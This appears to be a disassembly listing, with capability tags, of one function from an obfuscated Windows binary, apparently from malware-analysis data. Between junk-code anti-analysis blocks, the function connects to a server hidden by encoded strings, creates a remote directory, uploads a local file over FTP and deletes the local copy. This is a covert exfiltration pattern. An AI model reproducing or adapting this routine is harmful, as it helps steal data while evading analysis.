Function at 0x5c0cc0
Capabilities:
Connect to http server
Create http request

Disassembly:
jae 0x5c0cbe
jmp 0x5c0cb9
call fcn.005c0cc0
jae 0x5c0cb9
add esp, 4
jmp 0x5c0cc5
dec dword [esp]
jno 0x5c0cca
jns 0x5c0cb5
jp 0x5c0cce
add esp, 4
popf
jmp 0x5c0cd5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5c0cee
jne 0x5c0cee
call 0x101c4042
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x178], eax
push 0
push 0x8000000
push 1
push 0x58e0dec8
lea ecx, [ebp - 0x184]
call fcn.005c1f70
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x238], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x238]
push ecx
push 0x58e0ded4
lea ecx, [ebp - 0x190]
call fcn.005c1f70
mov dword [ebp - 0x23c], eax
mov edx, dword [ebp - 0x23c]
mov dword [ebp - 0x240], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x240]
push eax
push 0x15
push 0x331c7aaf
lea ecx, [ebp - 0x19e]
call fcn.005c1ef0
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp - 0x244]
push ecx
mov edx, dword [ebp - 0x178]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x19e]
call fcn.005b3cd0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x190]
call fcn.005b3dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x184]
call fcn.005b3dc0
cmp dword [ebp - 0x38], 0
jne 0x5c0de9
mov eax, dword [ebp - 0x178]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pushf
push 0xa
jae 0x5c0df6
jmp 0x5c0df1
call 0x5c0df8
jae 0x5c0df1
add esp, 4
jmp 0x5c0dfd
dec dword [esp]
jno 0x5c0e02
jns 0x5c0ded
jp 0x5c0e06
add esp, 4
popf
jmp 0x5c0e0d
clc
jae 0x5c0e12
int1
outsb dx, byte [esi]
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5c0e2b
jne 0x5c0e2b
outsb dx, byte [esi]
jl 0x5c0e30
jmp 0x5c0e32
je 0x5c0e2d
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5c0e4c
jne 0x5c0e4b
call 0x835ffed3
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5c0e5a
jne 0x5c0e5a
call fcn.005ca4c6
add byte [edx], ch
push 0x96
push 0
lea ecx, [ebp - 0x174]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov edx, dword [0x7fe824]
push edx
push 0x249ebff8
lea ecx, [ebp - 0x1af]
call fcn.005c1ff0
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x24c], eax
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x24c]
push ecx
push 0x2000
lea edx, [ebp - 0x174]
push edx
call fcn.00600ea0
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1af]
call fcn.005b3c70
lea eax, [ebp - 0x174]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
jl 0x5c0ee3
jmp 0x5c0ee5
je 0x5c0ee0
xor eax, eax
test eax, eax
je 0x5c0eee
jne 0x5c0eed
call 0x835fff75
rol byte [ebx + eax*4], 0xf0
add eax, 0xbc0273f8
test byte [ebx + eax + 0x75], dh
xor eax, 3
add eax, 4
xor eax, 5
clc
jae 0x5c0efc
mov esp, 0x75037484
je 0x5c0f01
jne 0x5c0f01
add dword [esi + 0x730a6a9c], eax
pop es
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x5c0f0e
jmp 0x5c0f09
call 0x5c0f10
jae 0x5c0f09
add esp, 4
jmp 0x5c0f15
dec dword [esp]
jno 0x5c0f1a
jns 0x5c0f05
jp 0x5c0f1e
add esp, 4
popf
jmp 0x5c0f25
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5c0f3e
jne 0x5c0f3e
call 0x101c4292
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
lea edx, [ebp - 0x34]
push edx
call fcn.005a8c90
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.005a8c70
add esp, 4
mov dword [ebp - 0xd8], eax
pushf
push 0xa
jae 0x5c0f7a
jmp 0x5c0f75
call 0x5c0f7c
jae 0x5c0f75
add esp, 4
jmp 0x5c0f81
dec dword [esp]
jno 0x5c0f86
jns 0x5c0f71
jp 0x5c0f8a
add esp, 4
popf
jmp 0x5c0f91
clc
jae 0x5c0f96
loop 0x5c100f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5c0faf
jne 0x5c0faf
jns 0x5c102c
jl 0x5c0fb4
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x5c0fb6
je 0x5c0fb1
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5c0fd0
jne 0x5c0fcf
call 0x83600057
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5c0fde
jne 0x5c0fde
call 0xa003994a
jp 0x5c0f71
push 0x7a9fa789
lea ecx, [ebp - 0x1cb]
call fcn.005c2070
mov dword [ebp - 0x250], eax
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x254], ecx
mov dword [ebp - 4], 3
lea esi, [0xe8fffffe]
adc byte [eax], 0
add byte [ecx - 0x24f7b], cl
dec dword [ebx - 0x24f73]
dec dword [ecx - 0x25373]
inc edi
inc ebp
cld
add eax, dword [eax]
add byte [eax], al
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1b4], esp
mov edx, dword [ebp - 0x254]
push edx
call fcn.00416410
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x28]
push eax
call fcn.005c0060
add esp, 0x20
mov dword [ebp - 0x25c], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1cb]
call fcn.005b3c40
mov ecx, dword [ebp - 0xd8]
cmp dword [ecx + 8], 0x18
jle 0x5c1065
invalid
inc dword [ebx - 0x7a76df3c]
movsb byte es:[edi], byte [esi]
std
invalid
mov edx, dword [ebp - 0xd8]
mov eax, dword [edx + 8]
sub eax, 0xc
mov dword [ebp - 0x260], eax
jmp 0x5c1074
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x260], edx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xd8]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
mov edx, dword [ebp - 0xd8]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 0x10]
add edx, 1
push edx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 0x14]
add ecx, 0x76c
push ecx
lea ecx, [ebp - 0x28]
call fcn.00416460
push eax
mov edx, dword [0x7fe824]
push edx
lea eax, [ebp - 0x174]
push eax
push 0x2a879d6d
lea ecx, [ebp - 0x218]
call fcn.005c20f0
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x268], ecx
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x268]
push edx
push 0x2000
lea eax, [ebp - 0xd4]
push eax
call fcn.00600ea0
add esp, 0x30
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x218]
call fcn.005c1b80
push 0
push 2
lea ecx, [ebp - 0xd4]
push ecx
mov edx, 0xa448986a
push edx
lea ecx, [ebp - 0x224]
call fcn.005c2170
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0x26c]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.WININET.dll_FtpPutFileA]
lea ecx, [ebp - 0x224]
call fcn.005b3dc0
mov edx, 0xa4489876
push edx
lea ecx, [ebp - 0x230]
call fcn.005c2170
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
push eax
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0x230]
call fcn.005b3dc0
pushf
push 0xa
jae 0x5c1198
jmp 0x5c1193
call 0x5c119a
jae 0x5c1193
add esp, 4
jmp 0x5c119f
dec dword [esp]
jno 0x5c11a4
jns 0x5c118f
jp 0x5c11a8
add esp, 4
popf
jmp 0x5c11af
clc
jae 0x5c11b4
mov al, 0xf2
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x5c11cd
jne 0x5c11cd
bnd jl 0x5c11d2
jl 0x5c11d2
jmp 0x5c11d4
je 0x5c11cf
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5c11ee
jne 0x5c11ed
call 0x83600275
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5c11fc
jne 0x5c11fc
call fcn.005857c7
invalid
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00416470
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret